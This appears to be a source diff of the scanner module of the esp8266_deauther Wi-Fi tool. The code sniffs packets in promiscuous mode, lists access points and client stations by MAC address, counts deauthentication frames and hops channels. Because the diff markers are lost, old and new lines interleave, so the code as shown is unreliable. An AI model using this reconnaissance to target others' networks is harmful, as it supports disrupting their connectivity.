if (accesspointNum >= 0) {
|
||||
stations.add(macTo, accesspointNum);
|
||||
} else {
|
||||
accesspointNum = findAccesspoint(macTo);
|
||||
if (accesspointNum >= 0) {
|
||||
stations.add(macFrom, accesspointNum);
|
||||
if ((buf[12] == 0xc0) || (buf[12] == 0xa0)) {
|
||||
tmpDeauths++;
|
||||
return;
|
||||
}
|
||||
|
||||
// drop beacon frames, probe requests/responses and deauth/disassociation frames
|
||||
if ((buf[12] == 0x80) || (buf[12] == 0x40) || (buf[12] == 0x50) /* || buf[12] == 0xc0 || buf[12] == 0xa0*/) return;
|
||||
|
||||
// only allow data frames
|
||||
// if(buf[12] != 0x08 && buf[12] != 0x88) return;
|
||||
|
||||
uint8_t* macTo = &buf[16];
|
||||
uint8_t* macFrom = &buf[22];
|
||||
|
||||
if (macBroadcast(macTo) || macBroadcast(macFrom) || !macValid(macTo) || !macValid(macFrom) || macMulticast(macTo) ||
|
||||
macMulticast(macFrom)) return;
|
||||
|
||||
int accesspointNum = findAccesspoint(macFrom);
|
||||
|
||||
if (accesspointNum >= 0) {
|
||||
stations.add(macTo, accesspoints.getID(accesspointNum));
|
||||
} else {
|
||||
accesspointNum = findAccesspoint(macTo);
|
||||
|
||||
if (accesspointNum >= 0) {
|
||||
stations.add(macFrom, accesspoints.getID(accesspointNum));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int Scan::findAccesspoint(uint8_t* mac) {
|
||||
for (int i = 0; i < accesspoints.count(); i++) {
|
||||
if (memcmp(accesspoints.getMac(i), mac, 6) == 0) return i;
|
||||
}
|
||||
return -1;
|
||||
for (int i = 0; i < accesspoints.count(); i++) {
|
||||
if (memcmp(accesspoints.getMac(i), mac, 6) == 0) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
void Scan::start(uint8_t mode) {
|
||||
start(mode, sniffTime, scan_continue_mode, continueTime, channelHop, wifi_channel);
|
||||
start(mode, sniffTime, scan_continue_mode, continueTime, channelHop, wifi_channel);
|
||||
}
|
||||
|
||||
void Scan::start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop, uint8_t channel) {
|
||||
if(mode != SCAN_MODE_OFF) stop();
|
||||
|
||||
setWifiChannel(channel);
|
||||
Scan::continueStartTime = currentTime;
|
||||
Scan::snifferPacketTime = continueStartTime;
|
||||
Scan::snifferOutputTime = continueStartTime;
|
||||
Scan::continueTime = continueTime;
|
||||
Scan::sniffTime = time;
|
||||
Scan::channelHop = channelHop;
|
||||
Scan::scanMode = mode;
|
||||
Scan::scan_continue_mode = nextmode;
|
||||
void Scan::start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop,
|
||||
uint8_t channel) {
|
||||
if (mode != SCAN_MODE_OFF) stop();
|
||||
|
||||
if(sniffTime > 0 && sniffTime < 1000) sniffTime = 1000;
|
||||
setWifiChannel(channel, true);
|
||||
Scan::continueStartTime = currentTime;
|
||||
Scan::snifferPacketTime = continueStartTime;
|
||||
Scan::snifferOutputTime = continueStartTime;
|
||||
Scan::continueTime = continueTime;
|
||||
Scan::sniffTime = time;
|
||||
Scan::channelHop = channelHop;
|
||||
Scan::scanMode = mode;
|
||||
Scan::scan_continue_mode = nextmode;
|
||||
|
||||
// Serial.printf("mode: %u, time: %u, continue-mode: %u, continueTime: %u, channelHop: %u, channel: %u\r\n", mode, time, scan_continue_mode, continueTime, channelHop, channel);
|
||||
if ((sniffTime > 0) && (sniffTime < 1000)) sniffTime = 1000;
|
||||
|
||||
/* AP Scan */
|
||||
if (mode == SCAN_MODE_APS || mode == SCAN_MODE_ALL) {
|
||||
// remove old results
|
||||
accesspoints.removeAll();
|
||||
stations.removeAll();
|
||||
// start AP scan
|
||||
prntln(SC_START_AP);
|
||||
WiFi.scanNetworks(true, true);
|
||||
}
|
||||
// Serial.printf("mode: %u, time: %u, continue-mode: %u, continueTime: %u, channelHop: %u, channel: %u\r\n", mode,
|
||||
// time, scan_continue_mode, continueTime, channelHop, channel);
|
||||
|
||||
/* Station Scan */
|
||||
else if (mode == SCAN_MODE_STATIONS) {
|
||||
// start station scan
|
||||
if (accesspoints.count() < 1) {
|
||||
start(SCAN_MODE_ALL);
|
||||
//Serial.println(str(SC_ERROR_NO_AP));
|
||||
return;
|
||||
/* AP Scan */
|
||||
if ((mode == SCAN_MODE_APS) || (mode == SCAN_MODE_ALL)) {
|
||||
// remove old results
|
||||
accesspoints.removeAll();
|
||||
stations.removeAll();
|
||||
// start AP scan
|
||||
prntln(SC_START_AP);
|
||||
WiFi.scanNetworks(true, true);
|
||||
}
|
||||
snifferStartTime = currentTime;
|
||||
prnt(SC_START_CLIENT);
|
||||
if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);
|
||||
else prnt(SC_INFINITELY);
|
||||
if(!channelHop){
|
||||
prnt(SC_ON_CHANNEL);
|
||||
prnt(wifi_channel);
|
||||
|
||||
/* Station Scan */
|
||||
else if (mode == SCAN_MODE_STATIONS) {
|
||||
// start station scan
|
||||
if (accesspoints.count() < 1) {
|
||||
start(SCAN_MODE_ALL);
|
||||
// Serial.println(str(SC_ERROR_NO_AP));
|
||||
return;
|
||||
}
|
||||
snifferStartTime = currentTime;
|
||||
prnt(SC_START_CLIENT);
|
||||
|
||||
if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);
|
||||
else prnt(SC_INFINITELY);
|
||||
|
||||
if (!channelHop) {
|
||||
prnt(SC_ON_CHANNEL);
|
||||
prnt(wifi_channel);
|
||||
}
|
||||
prntln();
|
||||
|
||||
// enable sniffer
|
||||
wifi::stopAP();
|
||||
wifi_promiscuous_enable(true);
|
||||
}
|
||||
prntln();
|
||||
|
||||
// enable sniffer
|
||||
stopAP();
|
||||
wifi_promiscuous_enable(true);
|
||||
}
|
||||
|
||||
else if (mode == SCAN_MODE_SNIFFER) {
|
||||
deauths = tmpDeauths;
|
||||
tmpDeauths = 0;
|
||||
snifferStartTime = currentTime;
|
||||
prnt(SS_START_SNIFFER);
|
||||
if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);
|
||||
else prnt(SC_INFINITELY);
|
||||
prnt(SC_ON_CHANNEL);
|
||||
prntln(channelHop ? str(SC_ONE_TO) +(String)settings.getMaxCh() : (String)wifi_channel);
|
||||
else if (mode == SCAN_MODE_SNIFFER) {
|
||||
deauths = tmpDeauths;
|
||||
tmpDeauths = 0;
|
||||
snifferStartTime = currentTime;
|
||||
prnt(SS_START_SNIFFER);
|
||||
|
||||
// enable sniffer
|
||||
stopAP();
|
||||
wifi_promiscuous_enable(true);
|
||||
}
|
||||
if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);
|
||||
else prnt(SC_INFINITELY);
|
||||
prnt(SC_ON_CHANNEL);
|
||||
prntln(channelHop ? str(SC_ONE_TO) + (String)14 : (String)wifi_channel);
|
||||
|
||||
/* Stop scan */
|
||||
else if (mode == SCAN_MODE_OFF) {
|
||||
wifi_promiscuous_enable(false);
|
||||
if(settings.getWebInterface()) resumeAP();
|
||||
prntln(SC_STOPPED);
|
||||
save(true);
|
||||
if (scan_continue_mode != SCAN_MODE_OFF) {
|
||||
prnt(SC_RESTART);
|
||||
prnt(int(continueTime / 1000));
|
||||
prntln(SC_CONTINUE);
|
||||
// enable sniffer
|
||||
wifi::stopAP();
|
||||
wifi_promiscuous_enable(true);
|
||||
}
|
||||
}
|
||||
|
||||
/* ERROR */
|
||||
else {
|
||||
prnt(SC_ERROR_MODE);
|
||||
prntln(mode);
|
||||
return;
|
||||
}
|
||||
/* Stop scan */
|
||||
else if (mode == SCAN_MODE_OFF) {
|
||||
wifi_promiscuous_enable(false);
|
||||
|
||||
if (settings::getWebSettings().enabled) wifi::resumeAP();
|
||||
prntln(SC_STOPPED);
|
||||
save(true);
|
||||
|
||||
if (scan_continue_mode != SCAN_MODE_OFF) {
|
||||
prnt(SC_RESTART);
|
||||
prnt(int(continueTime / 1000));
|
||||
prntln(SC_CONTINUE);
|
||||
}
|
||||
}
|
||||
|
||||
/* ERROR */
|
||||
else {
|
||||
prnt(SC_ERROR_MODE);
|
||||
prntln(mode);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
void Scan::update() {
|
||||
if (scanMode == SCAN_MODE_OFF) {
|
||||
// restart scan if it is continuous
|
||||
if (scan_continue_mode != SCAN_MODE_OFF) {
|
||||
if (currentTime - continueStartTime > continueTime) start(scan_continue_mode);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
// sniffer
|
||||
if(isSniffing()){
|
||||
// update packet list every 1s
|
||||
if(currentTime - snifferPacketTime > 1000){
|
||||
snifferPacketTime = currentTime;
|
||||
list->add(packets);
|
||||
if(list->size() > SCAN_PACKET_LIST_SIZE) list->remove(0);
|
||||
deauths = tmpDeauths;
|
||||
tmpDeauths = 0;
|
||||
packets = 0;
|
||||
if (scanMode == SCAN_MODE_OFF) {
|
||||
// restart scan if it is continuous
|
||||
if (scan_continue_mode != SCAN_MODE_OFF) {
|
||||
if (currentTime - continueStartTime > continueTime) start(scan_continue_mode);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
// print status every 3s
|
||||
if (currentTime - snifferOutputTime > 3000) {
|
||||
char s[100];
|
||||
if(sniffTime > 0){
|
||||
sprintf(s,str(SC_OUTPUT_A).c_str(), getPercentage(), packets, stations.count(), deauths);
|
||||
} else{
|
||||
sprintf(s,str(SC_OUTPUT_B).c_str(), packets, stations.count(), deauths);
|
||||
}
|
||||
prnt(String(s));
|
||||
snifferOutputTime = currentTime;
|
||||
// sniffer
|
||||
if (isSniffing()) {
|
||||
// update packet list every 1s
|
||||
if (currentTime - snifferPacketTime > 1000) {
|
||||
snifferPacketTime = currentTime;
|
||||
list->add(packets);
|
||||
|
||||
if (list->size() > SCAN_PACKET_LIST_SIZE) list->remove(0);
|
||||
deauths = tmpDeauths;
|
||||
tmpDeauths = 0;
|
||||
packets = 0;
|
||||
}
|
||||
|
||||
// print status every 3s
|
||||
if (currentTime - snifferOutputTime > 3000) {
|
||||
char s[100];
|
||||
|
||||
if (sniffTime > 0) {
|
||||
sprintf(s, str(SC_OUTPUT_A).c_str(), getPercentage(), packets, stations.count(), deauths);
|
||||
} else {
|
||||
sprintf(s, str(SC_OUTPUT_B).c_str(), packets, stations.count(), deauths);
|
||||
}
|
||||
prnt(String(s));
|
||||
snifferOutputTime = currentTime;
|
||||
}
|
||||
|
||||
// channel hopping
|
||||
if (channelHop && (currentTime - snifferChannelTime > settings::getSnifferSettings().channel_time)) {
|
||||
snifferChannelTime = currentTime;
|
||||
|
||||
if (scanMode == SCAN_MODE_STATIONS) nextChannel(); // go to next channel an AP is on
|
||||
else setChannel(wifi_channel + 1); // go to next channel
|
||||
}
|
||||
}
|
||||
|
||||
// channel hopping
|
||||
if(channelHop && currentTime - snifferChannelTime > settings.getChTime()) {
|
||||
snifferChannelTime = currentTime;
|
||||
if(scanMode == SCAN_MODE_STATIONS) nextChannel(); // go to next channel an AP is on
|
||||
else setChannel(wifi_channel + 1); // go to next channel
|
||||
}
|
||||
}
|
||||
|
||||
// APs
|
||||
if (scanMode == SCAN_MODE_APS || scanMode == SCAN_MODE_ALL) {
|
||||
int16_t results = WiFi.scanComplete();
|
||||
if (results >= 0) {
|
||||
for (int16_t i = 0; i < results && i < 256; i++) {
|
||||
if(channelHop || WiFi.channel(i) == wifi_channel) accesspoints.add(i, false);
|
||||
}
|
||||
accesspoints.sort();
|
||||
accesspoints.printAll();
|
||||
if (scanMode == SCAN_MODE_ALL){
|
||||
delay(30);
|
||||
start(SCAN_MODE_STATIONS);
|
||||
}
|
||||
else start(SCAN_MODE_OFF);
|
||||
}
|
||||
}
|
||||
// APs
|
||||
if ((scanMode == SCAN_MODE_APS) || (scanMode == SCAN_MODE_ALL)) {
|
||||
int16_t results = WiFi.scanComplete();
|
||||
|
||||
// Stations
|
||||
else if (sniffTime > 0 && currentTime > snifferStartTime + sniffTime) {
|
||||
wifi_promiscuous_enable(false);
|
||||
if(scanMode == SCAN_MODE_STATIONS){
|
||||
stations.sort();
|
||||
stations.printAll();
|
||||
if (results >= 0) {
|
||||
for (int16_t i = 0; i < results && i < 256; i++) {
|
||||
if (channelHop || (WiFi.channel(i) == wifi_channel)) accesspoints.add(i, false);
|
||||
}
|
||||
accesspoints.sort();
|
||||
accesspoints.printAll();
|
||||
|
||||
if (scanMode == SCAN_MODE_ALL) {
|
||||
delay(30);
|
||||
start(SCAN_MODE_STATIONS);
|
||||
}
|
||||
else start(SCAN_MODE_OFF);
|
||||
}
|
||||
}
|
||||
|
||||
// Stations
|
||||
else if ((sniffTime > 0) && (currentTime > snifferStartTime + sniffTime)) {
|
||||
wifi_promiscuous_enable(false);
|
||||
|
||||
if (scanMode == SCAN_MODE_STATIONS) {
|
||||
stations.sort();
|
||||
stations.printAll();
|
||||
}
|
||||
start(SCAN_MODE_OFF);
|
||||
}
|
||||
start(SCAN_MODE_OFF);
|
||||
}
|
||||
}
|
||||
|
||||
void Scan::setup(){
|
||||
save(true);
|
||||
void Scan::setup() {
|
||||
save(true);
|
||||
}
|
||||
|
||||
void Scan::stop() {
|
||||
scan_continue_mode = SCAN_MODE_OFF;
|
||||
start(SCAN_MODE_OFF);
|
||||
scan_continue_mode = SCAN_MODE_OFF;
|
||||
start(SCAN_MODE_OFF);
|
||||
}
|
||||
|
||||
void Scan::setChannel(uint8_t ch) {
|
||||
if (ch > settings.getMaxCh()) ch = 1;
|
||||
else if (ch < 1) ch = settings.getMaxCh();
|
||||
if (ch > 14) ch = 1;
|
||||
else if (ch < 1) ch = 14;
|
||||
|
||||
wifi_promiscuous_enable(0);
|
||||
setWifiChannel(ch);
|
||||
wifi_promiscuous_enable(1);
|
||||
wifi_promiscuous_enable(0);
|
||||
setWifiChannel(ch, true);
|
||||
wifi_promiscuous_enable(1);
|
||||
}
|
||||
|
||||
void Scan::nextChannel() {
|
||||
if (accesspoints.count() > 1) {
|
||||
uint8_t ch = wifi_channel;
|
||||
do {
|
||||
ch++;
|
||||
if (ch > settings.getMaxCh()) ch = 1;
|
||||
} while (!apWithChannel(ch));
|
||||
setChannel(ch);
|
||||
}
|
||||
if (accesspoints.count() > 1) {
|
||||
uint8_t ch = wifi_channel;
|
||||
|
||||
do {
|
||||
ch++;
|
||||
|
||||
if (ch > 14) ch = 1;
|
||||
} while (!apWithChannel(ch));
|
||||
setChannel(ch);
|
||||
}
|
||||
}
|
||||
|
||||
bool Scan::apWithChannel(uint8_t ch) {
|
||||
for (int i = 0; i < accesspoints.count(); i++)
|
||||
if (accesspoints.getCh(i) == ch) return true;
|
||||
return false;
|
||||
for (int i = 0; i < accesspoints.count(); i++)
|
||||
if (accesspoints.getCh(i) == ch) return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
void Scan::save(bool force, String filePath){
|
||||
String tmp = FILE_PATH;
|
||||
FILE_PATH = filePath;
|
||||
save(true);
|
||||
FILE_PATH = tmp;
|
||||
void Scan::save(bool force, String filePath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filePath;
|
||||
save(true);
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void Scan::save(bool force) {
|
||||
if(!(accesspoints.changed || stations.changed) && !force) return;
|
||||
|
||||
// Accesspoints
|
||||
String buf = String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SC_JSON_APS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) + String(OPEN_BRACKET); // {"aps":[
|
||||
|
||||
if(!writeFile(FILE_PATH, buf)) { // overwrite old file
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String(); // clear buffer
|
||||
uint32_t apCount = accesspoints.count();
|
||||
|
||||
for (int i = 0; i < apCount; i++) {
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + escape(accesspoints.getSSID(i)) + String(DOUBLEQUOTES) + String(COMMA); // ["ssid",
|
||||
buf += String(DOUBLEQUOTES) + escape(accesspoints.getNameStr(i)) + String(DOUBLEQUOTES) + String(COMMA); // "name",
|
||||
buf += String(accesspoints.getCh(i)) + String(COMMA); // 1,
|
||||
buf += String(accesspoints.getRSSI(i)) + String(COMMA); // -30,
|
||||
buf += String(DOUBLEQUOTES) + accesspoints.getEncStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "wpa2",
|
||||
buf += String(DOUBLEQUOTES) + accesspoints.getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22",
|
||||
buf += String(DOUBLEQUOTES) + accesspoints.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
|
||||
buf += b2s(accesspoints.getSelected(i)) + String(CLOSE_BRACKET); // false]
|
||||
if(i < apCount - 1) buf += String(COMMA); // ,
|
||||
if (!(accesspoints.changed || stations.changed) && !force) return;
|
||||
|
||||
if(buf.length() >= 1024){
|
||||
if(!appendFile(FILE_PATH, buf)) {
|
||||
// Accesspoints
|
||||
String buf = String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SC_JSON_APS) + String(DOUBLEQUOTES) + String(
|
||||
DOUBLEPOINT) + String(OPEN_BRACKET); // {"aps":[
|
||||
|
||||
if (!writeFile(FILE_PATH, buf)) { // overwrite old file
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String(); // clear buffer
|
||||
}
|
||||
}
|
||||
|
||||
// Stations
|
||||
buf += String(CLOSE_BRACKET) + String(COMMA) + String(DOUBLEQUOTES) + str(SC_JSON_STATIONS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) + String(OPEN_BRACKET); // ],"stations":[;
|
||||
uint32_t stationCount = stations.count();
|
||||
|
||||
for (int i = 0; i < stationCount; i++) {
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + stations.getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // ["00:11:22:00:11:22",
|
||||
buf += String(stations.getCh(i)) + String(COMMA); // 1,
|
||||
buf += String(DOUBLEQUOTES) + stations.getNameStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "name",
|
||||
buf += String(DOUBLEQUOTES) + stations.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
|
||||
buf += String(*stations.getPkts(i)) + String(COMMA); // 123,
|
||||
buf += String(stations.getAP(i)) + String(COMMA); // 0,
|
||||
buf += String(DOUBLEQUOTES) + stations.getTimeStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "<1min",
|
||||
buf += b2s(stations.getSelected(i)) + String(CLOSE_BRACKET); // false]
|
||||
if(i < stationCount - 1) buf += String(COMMA); // ,
|
||||
buf = String(); // clear buffer
|
||||
uint32_t apCount = accesspoints.count();
|
||||
|
||||
if(buf.length() >= 1024){
|
||||
if(!appendFile(FILE_PATH, buf)) {
|
||||
for (uint32_t i = 0; i < apCount; i++) {
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + escape(accesspoints.getSSID(i)) + String(DOUBLEQUOTES) +
|
||||
String(COMMA); // ["ssid",
|
||||
buf += String(DOUBLEQUOTES) + escape(accesspoints.getNameStr(i)) + String(DOUBLEQUOTES) + String(COMMA); // "name",
|
||||
buf += String(accesspoints.getCh(i)) + String(COMMA); // 1,
|
||||
buf += String(accesspoints.getRSSI(i)) + String(COMMA); // -30,
|
||||
buf += String(DOUBLEQUOTES) + accesspoints.getEncStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "wpa2",
|
||||
buf += String(DOUBLEQUOTES) + accesspoints.getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22",
|
||||
buf += String(DOUBLEQUOTES) + accesspoints.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
|
||||
buf += b2s(accesspoints.getSelected(i)) + String(CLOSE_BRACKET); // false]
|
||||
|
||||
if (i < apCount - 1) buf += String(COMMA); // ,
|
||||
|
||||
if (buf.length() >= 1024) {
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String(); // clear buffer
|
||||
}
|
||||
}
|
||||
|
||||
// Stations
|
||||
buf += String(CLOSE_BRACKET) + String(COMMA) + String(DOUBLEQUOTES) + str(SC_JSON_STATIONS) + String(DOUBLEQUOTES) +
|
||||
String(DOUBLEPOINT) + String(OPEN_BRACKET); // ],"stations":[;
|
||||
uint32_t stationCount = stations.count();
|
||||
|
||||
for (uint32_t i = 0; i < stationCount; i++) {
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + stations.getMacStr(i) + String(DOUBLEQUOTES) +
|
||||
String(COMMA); // ["00:11:22:00:11:22",
|
||||
buf += String(stations.getCh(i)) + String(COMMA); // 1,
|
||||
buf += String(DOUBLEQUOTES) + stations.getNameStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "name",
|
||||
buf += String(DOUBLEQUOTES) + stations.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
|
||||
buf += String(*stations.getPkts(i)) + String(COMMA); // 123,
|
||||
buf += String(stations.getAP(i)) + String(COMMA); // 0,
|
||||
buf += String(DOUBLEQUOTES) + stations.getTimeStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "<1min",
|
||||
buf += b2s(stations.getSelected(i)) + String(CLOSE_BRACKET); // false]
|
||||
|
||||
if (i < stationCount - 1) buf += String(COMMA); // ,
|
||||
|
||||
if (buf.length() >= 1024) {
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String(); // clear buffer
|
||||
}
|
||||
}
|
||||
|
||||
buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]}
|
||||
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String(); // clear buffer
|
||||
}
|
||||
}
|
||||
|
||||
buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]}
|
||||
|
||||
if(!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
accesspoints.changed = false;
|
||||
stations.changed = false;
|
||||
prnt(SC_SAVED_IN);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
accesspoints.changed = false;
|
||||
stations.changed = false;
|
||||
prnt(SC_SAVED_IN);
|
||||
prntln(FILE_PATH);
|
||||
}
|
||||
|
||||
uint32_t Scan::countSelected() {
|
||||
return (accesspoints.selected() + stations.selected() + names.selected());
|
||||
return accesspoints.selected() + stations.selected() + names.selected();
|
||||
}
|
||||
|
||||
uint32_t Scan::countAll() {
|
||||
return (accesspoints.count() + stations.count() + names.count());
|
||||
return accesspoints.count() + stations.count() + names.count();
|
||||
}
|
||||
|
||||
bool Scan::isScanning() {
|
||||
return scanMode != SCAN_MODE_OFF;
|
||||
return scanMode != SCAN_MODE_OFF;
|
||||
}
|
||||
|
||||
bool Scan::isSniffing() {
|
||||
return scanMode == SCAN_MODE_STATIONS || scanMode == SCAN_MODE_SNIFFER;
|
||||
return scanMode == SCAN_MODE_STATIONS || scanMode == SCAN_MODE_SNIFFER;
|
||||
}
|
||||
|
||||
uint8_t Scan::getPercentage(){
|
||||
if(!isSniffing()) return 0;
|
||||
return (currentTime - snifferStartTime) / (sniffTime / 100);
|
||||
uint8_t Scan::getPercentage() {
|
||||
if (!isSniffing()) return 0;
|
||||
|
||||
return (currentTime - snifferStartTime) / (sniffTime / 100);
|
||||
}
|
||||
|
||||
void Scan::selectAll() {
|
||||
accesspoints.selectAll();
|
||||
stations.selectAll();
|
||||
names.selectAll();
|
||||
accesspoints.selectAll();
|
||||
stations.selectAll();
|
||||
names.selectAll();
|
||||
}
|
||||
|
||||
void Scan::deselectAll() {
|
||||
accesspoints.deselectAll();
|
||||
stations.deselectAll();
|
||||
names.deselectAll();
|
||||
accesspoints.deselectAll();
|
||||
stations.deselectAll();
|
||||
names.deselectAll();
|
||||
}
|
||||
|
||||
void Scan::printAll() {
|
||||
accesspoints.printAll();
|
||||
stations.printAll();
|
||||
names.printAll();
|
||||
ssids.printAll();
|
||||
accesspoints.printAll();
|
||||
stations.printAll();
|
||||
names.printAll();
|
||||
ssids.printAll();
|
||||
}
|
||||
|
||||
void Scan::printSelected() {
|
||||
accesspoints.printSelected();
|
||||
stations.printSelected();
|
||||
names.printSelected();
|
||||
accesspoints.printSelected();
|
||||
stations.printSelected();
|
||||
names.printSelected();
|
||||
}
|
||||
|
||||
uint32_t Scan::getPackets(int i){
|
||||
if(list->size() < SCAN_PACKET_LIST_SIZE){
|
||||
uint8_t translatedNum = SCAN_PACKET_LIST_SIZE - list->size();
|
||||
if(i >= translatedNum) return list->get(i-translatedNum);
|
||||
return 0;
|
||||
} else {
|
||||
return list->get(i);
|
||||
}
|
||||
uint32_t Scan::getPackets(int i) {
|
||||
if (list->size() < SCAN_PACKET_LIST_SIZE) {
|
||||
uint8_t translatedNum = SCAN_PACKET_LIST_SIZE - list->size();
|
||||
|
||||
if (i >= translatedNum) return list->get(i - translatedNum);
|
||||
|
||||
return 0;
|
||||
} else {
|
||||
return list->get(i);
|
||||
}
|
||||
}
|
||||
|
||||
double Scan::getScaleFactor(uint8_t height){
|
||||
return (double)height/(double)getMaxPacket();
|
||||
String Scan::getMode() {
|
||||
switch (scanMode) {
|
||||
case SCAN_MODE_OFF:
|
||||
return str(SC_MODE_OFF);
|
||||
|
||||
case SCAN_MODE_APS:
|
||||
return str(SC_MODE_AP);
|
||||
|
||||
case SCAN_MODE_STATIONS:
|
||||
return str(SC_MODE_ST);
|
||||
|
||||
case SCAN_MODE_ALL:
|
||||
return str(SC_MODE_ALL);
|
||||
|
||||
case SCAN_MODE_SNIFFER:
|
||||
return str(SC_MODE_SNIFFER);
|
||||
|
||||
default:
|
||||
return String();
|
||||
}
|
||||
}
|
||||
|
||||
uint32_t Scan::getMaxPacket(){
|
||||
uint16_t max = 0;
|
||||
for(uint8_t i=0;i<list->size();i++){
|
||||
if(list->get(i) > max) max = list->get(i);
|
||||
}
|
||||
return max;
|
||||
double Scan::getScaleFactor(uint8_t height) {
|
||||
return (double)height / (double)getMaxPacket();
|
||||
}
|
||||
|
||||
uint32_t Scan::getPacketRate(){
|
||||
return list->get(list->size()-1);
|
||||
uint32_t Scan::getMaxPacket() {
|
||||
uint16_t max = 0;
|
||||
|
||||
for (uint8_t i = 0; i < list->size(); i++) {
|
||||
if (list->get(i) > max) max = list->get(i);
|
||||
}
|
||||
return max;
|
||||
}
|
||||
|
||||
|
||||
uint32_t Scan::getPacketRate() {
|
||||
return list->get(list->size() - 1);
|
||||
}
|
|
@ -1,13 +1,14 @@
|
|||
#ifndef Scan_h
|
||||
#define Scan_h
|
||||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "Arduino.h"
|
||||
#include "Accesspoints.h"
|
||||
#include "Stations.h"
|
||||
#include "Names.h"
|
||||
#include "SSIDs.h"
|
||||
#include "Settings.h"
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
|
||||
#define SCAN_MODE_OFF 0
|
||||
#define SCAN_MODE_APS 1
|
||||
|
@ -19,80 +20,75 @@
|
|||
#define SCAN_PACKET_LIST_SIZE 64
|
||||
|
||||
extern Accesspoints accesspoints;
|
||||
extern Stations stations;
|
||||
extern Stations stations;
|
||||
extern Names names;
|
||||
extern SSIDs ssids;
|
||||
extern Settings settings;
|
||||
|
||||
extern uint8_t wifiMode;
|
||||
|
||||
extern void setWifiChannel(uint8_t ch);
|
||||
extern bool appendFile(String path, String &buf);
|
||||
extern bool writeFile(String path, String &buf);
|
||||
extern void setWifiChannel(uint8_t ch, bool force);
|
||||
extern bool appendFile(String path, String& buf);
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern void readFileToSerial(const String path);
|
||||
extern void resumeAP();
|
||||
extern void stopAP();
|
||||
extern String escape(String str);
|
||||
|
||||
class Scan {
|
||||
public:
|
||||
Scan();
|
||||
public:
|
||||
Scan();
|
||||
|
||||
void sniffer(uint8_t* buf, uint16_t len);
|
||||
void start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop, uint8_t channel);
|
||||
void start(uint8_t mode);
|
||||
void sniffer(uint8_t* buf, uint16_t len);
|
||||
void start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop, uint8_t channel);
|
||||
void start(uint8_t mode);
|
||||
|
||||
void setup();
|
||||
void update();
|
||||
void stop();
|
||||
void save(bool force);
|
||||
void save(bool force, String filePath);
|
||||
|
||||
void selectAll();
|
||||
void deselectAll();
|
||||
void printAll();
|
||||
void printSelected();
|
||||
void setup();
|
||||
void update();
|
||||
void stop();
|
||||
void save(bool force);
|
||||
void save(bool force, String filePath);
|
||||
|
||||
uint8_t getPercentage();
|
||||
uint32_t getPackets(int i);
|
||||
uint32_t countAll();
|
||||
uint32_t countSelected();
|
||||
bool isScanning();
|
||||
bool isSniffing();
|
||||
void selectAll();
|
||||
void deselectAll();
|
||||
void printAll();
|
||||
void printSelected();
|
||||
|
||||
void nextChannel();
|
||||
void setChannel(uint8_t newChannel);
|
||||
|
||||
